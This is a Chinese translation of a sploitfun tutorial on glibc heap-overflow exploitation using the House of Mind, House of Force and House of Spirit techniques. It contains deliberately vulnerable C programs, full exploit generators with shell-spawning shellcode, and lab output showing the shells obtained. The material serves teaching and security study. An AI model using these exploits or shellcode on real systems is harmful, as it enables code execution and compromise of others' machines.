使用 Malloc Maleficarum 的堆溢出

译者:飞龙

原文:Heap overflow using Malloc Maleficarum

预备条件:

  1. 理解 glibc malloc

从 2004 年末开始,glibc malloc 变得更可靠了。之后,类似 unlink 的技巧已经废弃,攻击者没有线索。但是在 2005 年末,Phantasmal Phatasmagoria 带来了下面这些技巧,用于成功利用堆溢出。

  • House of Prime
  • House of Mind
  • House of Force
  • House of Lore
  • House of Spirit

House of Mind

这个技巧中,攻击者欺骗 glibc malloc 来使用由他伪造的 arena。伪造的 arena 以这种形式构造,unsorted bin 的 fd 包含free的 GOT 条目地址 -12。因此现在当漏洞程序释放某个块的时候,free的 GOT 条目被覆盖为 shellcode 的地址。在成功覆盖 GOT 之后,当漏洞程序调用free,shellcode 就会执行。

预备条件:下面是成功应用 House of Mind 的预备条件,因为不是所有堆溢出漏洞程序都可以使用这个技巧来利用。

  1. 在块的地址之前,需要一系列 malloc 调用 — 当对齐到内存区域中HEAP_MAX_SIZE结果的倍数的时候,内存区域由攻击者控制。这是伪造的heap_info结构所在的内存区域。伪造的heap_info的 arena 指针ar_ptr会指向伪造的 arena。因此伪造的 arena 和伪造的heap_info的内存区域都能由攻击者控制。

  2. 一个块,它的大小字段(以及它的 arena 指针 — 预备条件 1)由攻击者控制,应该已释放。

  3. 上述空闲块的下一个块应该不是 top 块。

漏洞程序:这个程序满足上述预备条件。

  1. /* vuln.c
  2. House of Mind vulnerable program
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. int main (void) {
  7. char *ptr = malloc(1024); /* First allocated chunk */
  8. char *ptr2; /* Second chunk/Last but one chunk */
  9. char *ptr3; /* Last chunk */
  10. int heap = (int)ptr & 0xFFF00000;
  11. _Bool found = 0;
  12. int i = 2;
  13. for (i = 2; i < 1024; i++) {
  14. /* Prereq 1: Series of malloc calls until a chunk's address - when aligned to HEAP_MAX_SIZE results in 0x08100000 */
  15. /* 0x08100000 is the place where fake heap_info structure is found. */
  16. /* [1] */
  17. if (!found && (((int)(ptr2 = malloc(1024)) & 0xFFF00000) == \
  18. (heap + 0x100000))) {
  19. printf("good heap allignment found on malloc() %i (%p)\n", i, ptr2);
  20. found = 1;
  21. break;
  22. }
  23. }
  24. /* [2] */
  25. ptr3 = malloc(1024); /* Last chunk. Prereq 3: Next chunk to ptr2 != av->top */
  26. /* User Input. */
  27. /* [3] */
  28. fread (ptr, 1024 * 1024, 1, stdin);
  29. /* [4] */
  30. free(ptr2); /* Prereq 2: Freeing a chunk whose size and its arena pointer is controlled by the attacker. */
  31. /* [5] */
  32. free(ptr3); /* Shell code execution. */
  33. return(0); /* Bye */
  34. }

上述漏洞程序的堆内存:

1

漏洞程序的行[3]是堆溢出发生的地方。用户输入储存在块 1 的mem指针处,大小共计 1MB。所以为了成功利用堆溢出,攻击者提供了下面的用户输入(列出顺序相同)。

  • 伪造的 arena
  • 垃圾数据
  • 伪造的 heap_info
  • Shellcode

利用程序:这个程序生成了攻击者的数据文件:

  1. /* exp.c
  2. Program to generate attacker data.
  3. Command:
  4. #./exp > file
  5. */
  6. #include <stdio.h>
  7. #define BIN1 0xb7fd8430
  8. char scode[] =
  9. /* Shellcode to execute linux command "id". Size - 72 bytes. */
  10. "\x31\xc9\x83\xe9\xf4\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x5e"
  11. "\xc9\x6a\x42\x83\xeb\xfc\xe2\xf4\x34\xc2\x32\xdb\x0c\xaf\x02\x6f"
  12. "\x3d\x40\x8d\x2a\x71\xba\x02\x42\x36\xe6\x08\x2b\x30\x40\x89\x10"
  13. "\xb6\xc5\x6a\x42\x5e\xe6\x1f\x31\x2c\xe6\x08\x2b\x30\xe6\x03\x26"
  14. "\x5e\x9e\x39\xcb\xbf\x04\xea\x42";
  15. char ret_str[4] = "\x00\x00\x00\x00";
  16. void convert_endianess(int arg)
  17. {
  18. int i=0;
  19. ret_str[3] = (arg & 0xFF000000) >> 24;
  20. ret_str[2] = (arg & 0x00FF0000) >> 16;
  21. ret_str[1] = (arg & 0x0000FF00) >> 8;
  22. ret_str[0] = (arg & 0x000000FF) >> 0;
  23. }
  24. int main() {
  25. int i=0,j=0;
  26. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd */
  27. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk */
  28. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* fd_nextsize */
  29. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* bk_nextsize */
  30. /* Fake Arena. */
  31. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* mutex */
  32. fwrite("\x01\x00\x00\x00", 4, 1, stdout); /* flag */
  33. for(i=0;i<10;i++)
  34. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fastbinsY */
  35. fwrite("\xb0\x0e\x10\x08", 4, 1, stdout); /* top */
  36. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* last_remainder */
  37. for(i=0;i<127;i++) {
  38. convert_endianess(BIN1+(i*8));
  39. if(i == 119) {
  40. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* preserve prev_size */
  41. fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* preserve size */
  42. } else if(i==0) {
  43. fwrite("\xe8\x98\x04\x08", 4, 1, stdout); /* bins[i][0] = (GOT(free) - 12) */
  44. fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
  45. }
  46. else {
  47. fwrite(ret_str, 4, 1, stdout); /* bins[i][0] */
  48. fwrite(ret_str, 4, 1, stdout); /* bins[i][1] */
  49. }
  50. }
  51. for(i=0;i<4;i++) {
  52. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* binmap[i] */
  53. }
  54. fwrite("\x00\x84\xfd\xb7", 4, 1, stdout); /* next */
  55. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* next_free */
  56. fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* system_mem */
  57. fwrite("\x00\x60\x0c\x00", 4, 1, stdout); /* max_system_mem */
  58. for(i=0;i<234;i++) {
  59. fwrite("\x41\x41\x41\x41", 4, 1, stdout); /* PAD */
  60. }
  61. for(i=0;i<722;i++) {
  62. if(i==721) {
  63. /* Chunk 724 contains the shellcode. */
  64. fwrite("\xeb\x18\x00\x00", 4, 1, stdout); /* prev_size - Jmp 24 bytes */
  65. fwrite("\x0d\x04\x00\x00", 4, 1, stdout); /* size */
  66. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd */
  67. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk */
  68. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* fd_nextsize */
  69. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* bk_nextsize */
  70. fwrite("\x90\x90\x90\x90\x90\x90\x90\x90" \
  71. "\x90\x90\x90\x90\x90\x90\x90\x90", 16, 1, stdout); /* NOPS */
  72. fwrite(scode, sizeof(scode)-1, 1, stdout); /* SHELLCODE */
  73. for(j=0;j<230;j++)
  74. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  75. continue;
  76. } else {
  77. fwrite("\x00\x00\x00\x00", 4, 1, stdout); /* prev_size */
  78. fwrite("\x09\x04\x00\x00", 4, 1, stdout); /* size */
  79. }
  80. if(i==720) {
  81. for(j=0;j<90;j++)
  82. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  83. fwrite("\x18\xa0\x04\x08", 4, 1, stdout); /* Arena Pointer */
  84. for(j=0;j<165;j++)
  85. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  86. } else {
  87. for(j=0;j<256;j++)
  88. fwrite("\x42\x42\x42\x42", 4, 1, stdout); /* PAD */
  89. }
  90. }
  91. return 0;
  92. }

漏洞程序的堆内存,在攻击者生成数据作为用户输入之后:

2

在攻击者生成数据作为用户输入之后,glibc malloc 执行下列事情,当漏洞程序的行[4]执行时:

  • 正在释放的堆的 arena 由访问arena_for_chunk获取。
    • arena_for_chunk:如果没有设置NON_MAIN_ARENA (N)位,会返回主 arena。如果设置了,会通过将块地址对齐到HEAP_MAX_SIZE的倍数,来访问相应的heap_info结构。之后,获取到的heap_info结构的arena 指针会返回。我们这里,NON_MAIN_ARENA位由攻击者设置,因此会获取正在释放的块的heap_info结构(0x08100000)。攻击者也覆盖了(所获取的heap_info结构的)arena 指针,使其指向伪造的 arena,也就是说,heap_infoar_ptr等于伪造的 arena 的基址(0x0804a018)。
  • 使用 arena 指针和块地址作为参数调用_int_free。我们这里,arena 指针指向了伪造的 arena。因此伪造的 arena 和块地址作为参数传递给了_int_free
    • 伪造的 arena:下面是伪造区域的受控字段,需要由攻击者覆盖:
      • Mutex - 应该为 unlocked 状态。
      • Bins - unsorted bin 的 fd 应该包含free的 GOT 条目地址。
      • Top - Top 地址应该不等于正在释放的块地址。
      • 系统内存 - 系统内存应该大于下一个块大小。
    • _int_free()
      • 如果块不是 mmap 分配的,要获取锁。我们这里块不是 mmap 分配的,伪造的 arena 的互斥锁获取成功。
      • 合并:
        • 查看上一个块是否空闲,如果空闲则合并。我们这里上一个块已分配,所以不能向后合并。
        • 查看下一个块是否空闲,如果空闲则合并。我们这里下一个块已分配,所以不能合并。
      • 将当前空闲块放进 unsorted bin 中。我们这里伪造的 arena 的 unsorted bin 的 fd 包含free的 GOT 条目地址 -12,它被复制给了fwd值。之后,当前空闲快的地址会复制给fwd->bkbk位于malloc_chunk偏移 12 处,因此, 12 会加到fwd值,也就是free - 12 + 12。所以现在free的 GOT 条目会变为当前空闲块的地址。由于攻击者已经将他的 shellcode 放进当前空闲块了,现在开始,无论何时调用free,攻击者的 shellcode 都会执行。

使用攻击者生成的数据文件,作为用户输入执行漏洞程序会执行 shellcode,像这样:

  1. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./exp > file
  4. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hom$ ./vuln < file
  5. ptr found at 0x804a008
  6. good heap allignment found on malloc() 724 (0x81002a0)
  7. uid=1000(sploitfun) gid=1000(sploitfun) groups=1000(sploitfun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)

保护:现在,house of mind 技术不起作用了,因为 glibc malloc 已经变得更加可靠。它添加了下面的检查来防止使用 house of mind 的堆溢出。

  • 块破坏:unsorted bin 的第一个块的bk指针应该指向 unsorted bin。如果不是,glibc malloc 会抛出块破坏错误。

    1. if (__glibc_unlikely (fwd->bk != bck))
    2. {
    3. errstr = "free(): corrupted unsorted chunks";
    4. goto errout;
    5. }

House of Force

这个技巧中,攻击者滥用 top 块的大小,并欺骗 glibc malloc 使用 top 块来服务于一个非常大的内存请求(大于堆系统内存大小)。现在当新的 malloc 请求产生时,free的 GOT 表就会覆盖为 shellcode 地址。因此从现在开始,无论free何时调用,shellcode 都会执行。

预备条件:为了成功应用 house of force,需要下面三个 malloc 调用:

  • Malloc 1:攻击者应该能够控制 top 块的大小。因此这个分配的块,也就是物理上在 top 块之前的块上,应该能产生堆溢出。
  • Malloc 2:攻击者应该能够控制 malloc 请求的大小。
  • Malloc 3:用户输入应该能复制到这个所分配的块中。

漏洞程序:这个程序满足上述要求

  1. /*
  2. House of force vulnerable program.
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. int main(int argc, char *argv[])
  8. {
  9. char *buf1, *buf2, *buf3;
  10. if (argc != 4) {
  11. printf("Usage Error\n");
  12. return;
  13. }
  14. /* [1] */
  15. buf1 = malloc(256);
  16. /* [2] */
  17. strcpy(buf1, argv[1]); /* Prereq 1 */
  18. /* [3] */
  19. buf2 = malloc(strtoul(argv[2], NULL, 16)); /* Prereq 2 */
  20. /* [4] */
  21. buf3 = malloc(256); /* Prereq 3 */
  22. /* [5] */
  23. strcpy(buf3, argv[3]); /* Prereq 3 */
  24. /* [6] */
  25. free(buf3);
  26. free(buf2);
  27. free(buf1);
  28. return 0;
  29. }

上述漏洞程序的堆内存:

3

漏洞程序的行[2]是堆溢出发生的地方。因此为了成功利用堆溢出,攻击者需要提供下面的命令行参数:

  • argv[1] — 需要复制到第一个 malloc 块的 shellcode + 填充 + top 块大小。
  • argv[2] — 第二个 malloc 块的大小参数。
  • argv[3] — 复制到第三个 malloc 块的用户输入。

利用程序:

  1. /* Program to exploit executable 'vuln' using hof technique.
  2. */
  3. #include <stdio.h>
  4. #include <unistd.h>
  5. #include <string.h>
  6. #define VULNERABLE "./vuln"
  7. #define FREE_ADDRESS 0x08049858-0x8
  8. #define MALLOC_SIZE "0xFFFFF744"
  9. #define BUF3_USER_INP "\x08\xa0\x04\x08"
  10. /* Spawn a shell. Size - 25 bytes. */
  11. char scode[] =
  12. "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
  13. int main( void )
  14. {
  15. int i;
  16. char * p;
  17. char argv1[ 265 ];
  18. char * argv[] = { VULNERABLE, argv1, MALLOC_SIZE, BUF3_USER_INP, NULL };
  19. strcpy(argv1,scode);
  20. for(i=25;i<260;i++)
  21. argv1[i] = 'A';
  22. strcpy(argv1+260,"\xFF\xFF\xFF\xFF"); /* Top chunk size */
  23. argv[264] = ''; /* Terminating NULL character */
  24. /* Execution of the vulnerable program */
  25. execve( argv[0], argv, NULL );
  26. return( -1 );
  27. }

漏洞程序的堆内存,一旦攻击者的命令行参数复制到堆中:

4

使用攻击者的参数,下面的事情会发生:

[2]会覆盖 top 块大小:

  • 攻击者的参数(argv[1] – Shellcode + Pad + 0xFFFFFFFF)会复制到堆缓冲区buf1。但是由于argv[1]大于 256,top 块的大小会覆盖为0xFFFFFFFF

[3]使用 top 块代码,分配了一个非常大的块。

  • 非常大的块的分配请求发生在分配之后,新的 top 块应该位于free的 GOT 条目之前 8 个字节处。所以另一个 malloc 请求(行[4])会帮助我们覆盖free的 GOT 地址。
  • 攻击者的参数(argv[2] – 0xFFFFF744)会作为大小参数,传递给第二个 malloc 调用(行[3])。大小参数使用下面的公式计算:
    • size = ((free-8)-top)
    • 其中
      • free是可执行文件vuln的 GOT 条目,也就是free = 0x08049858
      • top是当前 top 块(在第一个 malloc [1]之后),也就是top = 0x0804a108
    • 因此size = ((0x8049858-0x8)-0x804a108) = -8B8 = 0xFFFFF748
    • size = 0xFFFFF748时,我们的任务,将新的 top 块放置在free的 GOT 条目之前 8 个字节处,像这样完成了:
      • (0xFFFFF748+0x804a108) = 0x08049850 = (0x08049858-0x8)
    • 但是,当攻击者传递大小参数0xFFFFF748时,glibc malloc 将这个大小转换为可用大小0xFFFFF750。因此,现在新的 top 块大小应该位于0x8049858而不是0x8049850。因此攻击者应该传递0xFFFFF744作为大小参数,而不是0xFFFFF748,因为他会转换为我们所需的可用的大小0xFFFFF748

在行[4]中:

  • 现在由于行[3]中的 top 块指向0x8049850,一个 256 字节的内存分配请求会使 glibc malloc 返回0x8049858,他会复制到buf3

在行[5]中:

buf1的地址复制给buf3,会导致 GOT 覆盖。因此free的调用(行[6])会导致 shellcode 执行。

使用攻击者的命令行参数执行漏洞程序,会执行 shellcode,像这样:

  1. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$ ./exp
  4. $ ls
  5. cmd exp exp.c vuln vuln.c
  6. $ exit
  7. sploitfun@sploitfun-VirtualBox:~/lsploits/hof/hof$

保护:直到现在,没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出,即使它使用最新的 glibc 编译。

House of Spirit

在这个技巧中,攻击者欺骗 glibc malloc 来返回一个块,它位于栈中(而不是堆中)。这允许攻击者覆盖储存在栈中的返回地址。

预备条件:下面是用于成功利用 house of spirit 的预备条件,因为不是所有堆溢出漏洞程序都可以使用这个技巧利用。

  • 一个缓冲区溢出,用于覆盖一个变量,它包含块地址,由 glibc malloc 返回。
  • 上面的块应该是空闲的。攻击者应该能够控制这个空闲块的大小。它以这种方式控制,空闲块的大小等于下一个分配块的大小。
  • Malloc 一个块。
  • 用户输入应该能够复制到上面所分配的块中。

漏洞程序:这个程序满足上述要求

  1. /* vuln.c
  2. House of Spirit vulnerable program
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. void fvuln(char *str1, int age)
  8. {
  9. char *ptr1, name[44];
  10. int local_age;
  11. char *ptr2;
  12. [1]local_age = age; /* Prereq 2 */
  13. [2]ptr1 = (char *) malloc(256);
  14. printf("\nPTR1 = [ %p ]", ptr1);
  15. [3]strcpy(name, str1); /* Prereq 1 */
  16. printf("\nPTR1 = [ %p ]\n", ptr1);
  17. [4]free(ptr1); /* Prereq 2 */
  18. [5]ptr2 = (char *) malloc(40); /* Prereq 3 */
  19. [6]snprintf(ptr2, 40-1, "%s is %d years old", name, local_age); /* Prereq 4 */
  20. printf("\n%s\n", ptr2);
  21. }
  22. int main(int argc, char *argv[])
  23. {
  24. int i=0;
  25. int stud_class[10]; /* Required since nextchunk size should lie in between 8 and arena's system_mem. */
  26. for(i=0;i<10;i++)
  27. [7]stud_class[i] = 10;
  28. if (argc == 3)
  29. fvuln(argv[1], 25);
  30. return 0;
  31. }

上述漏洞程序的栈布局:

5

漏洞程序的行[3]是缓冲区溢出发生处。因此为了成功利用漏洞程序,攻击者需要提供下面的命令行参数:

  1. argv[1] = Shell Code + Stack Address + Chunk size

利用程序:

  1. /* Program to exploit executable 'vuln' using hos technique.
  2. */
  3. #include <stdio.h>
  4. #include <unistd.h>
  5. #include <string.h>
  6. #define VULNERABLE "./vuln"
  7. /* Shellcode to spwan a shell. Size: 48 bytes - Includes Return Address overwrite */
  8. char scode[] =
  9. "\xeb\x0e\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xb8\xfd\xff\xbf\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80\x90\x90\x90\x90\x90\x90\x90";
  10. int main( void )
  11. {
  12. int i;
  13. char * p;
  14. char argv1[54];
  15. char * argv[] = { VULNERABLE, argv1, NULL };
  16. strcpy(argv1,scode);
  17. /* Overwrite ptr1 in vuln with stack address - 0xbffffdf0. Overwrite local_age in vuln with chunk size - 0x30 */
  18. strcpy(argv1+48,"\xf0\xfd\xff\xbf\x30");
  19. argv[53] = '';
  20. /* Execution of the vulnerable program */
  21. execve( argv[0], argv, NULL );
  22. return( -1 );
  23. }

使用攻击者的参数之后,上述漏洞程序的栈布局:

6

使用攻击者的参数,让我们看看返回地址如何覆盖。

[3]:缓冲区溢出

  • 这里攻击者的输入argv[1]复制到了字符缓冲区name中。因为攻击者的输入大于 44,变量ptr1loacl_age被栈地址和块大小覆盖。
    • 栈地址(0xbffffdf0) — 当行[5]执行时,攻击者欺骗 glibc malloc 来返回这个地址。
    • 块大小(0x30) — 当行[4]执行时,这个块大小用于欺骗 glibc malloc。

[4]:将栈区域添加到 glibc malloc 的 fastbin 中。

  • free()调用了_int_free()。现在在缓冲区溢出之后,ptr1 = 0xbffffdf0(而不是0x804aa08)。被覆盖的ptr1作为参数传递给free。这欺骗 glibc malloc 来释放栈上的内存区域。被释放的这个栈区域的大小,位于ptr1-8+4,被攻击者覆盖为0x30。因此 glibc malloc 将这个块看做 fast 块(因为48 < 64),并将释放得快插入 fast binlist 的前面,位于下标 4。

[5]:获取(在行[4]添加的)栈区域

  • malloc 请求 40 由checked_request2size转换为可用大小 48。由于可用代销 48 属于 fast 块,对应的 fast bin(位于下标 4)会被获取。fast binlist 的第一个块被溢出,并返回给用户。第一个块是在行[4]执行过程中添加的栈区域。

[6]:覆盖返回地址

  • 将攻击者的参数argv[1]复制到栈区域(由 glibc malloc 返回),它从0xbffffdf0位置开始。argv[1]的前 16 个字节是:
    • \xeb\x0e:JMP 14 字节。
    • \x41\x41\x41\x41\x41\x41\x41\x41\x41\x41:填充。
    • \xb8\xfd\xff\xbf:储存在栈上的返回地址会被这个值覆盖。因此在fvuln执行之后,EIP 是0xbffffdb8 — 这个位置包含 JMP 指令,之后是派生 shell 的 shellcode。

使用攻击者的参数执行漏洞程序会执行 shellcode,像这样:

  1. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -fno-stack-protector -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2
  2. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ gcc -g -o exp exp.c
  3. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$ ./exp
  4. PTR1 = [ 0x804a008 ]
  5. PTR1 = [ 0xbffffdf0 ]
  6. AAAAAAAAAA????1?Ph//shh/bin??P??S?
  7. $ ls
  8. cmd exp exp.c print vuln vuln.c
  9. $ exit
  10. sploitfun@sploitfun-VirtualBox:~/Dropbox/sploitfun/heap_overflow/Malloc-Maleficarum/hos$

保护:直到现在,没有添加针对这个技巧的任何保护。这个技巧能帮助我们利用堆溢出,即使它使用最新的 glibc 编译。

House of Prime: TBU

House of Lore: TBU

注意:出于演示目的,所有漏洞程序都不使用下列 Linux 保护机制编译:

  • ASLR
  • NX
  • RELRO(重定向只读)

参考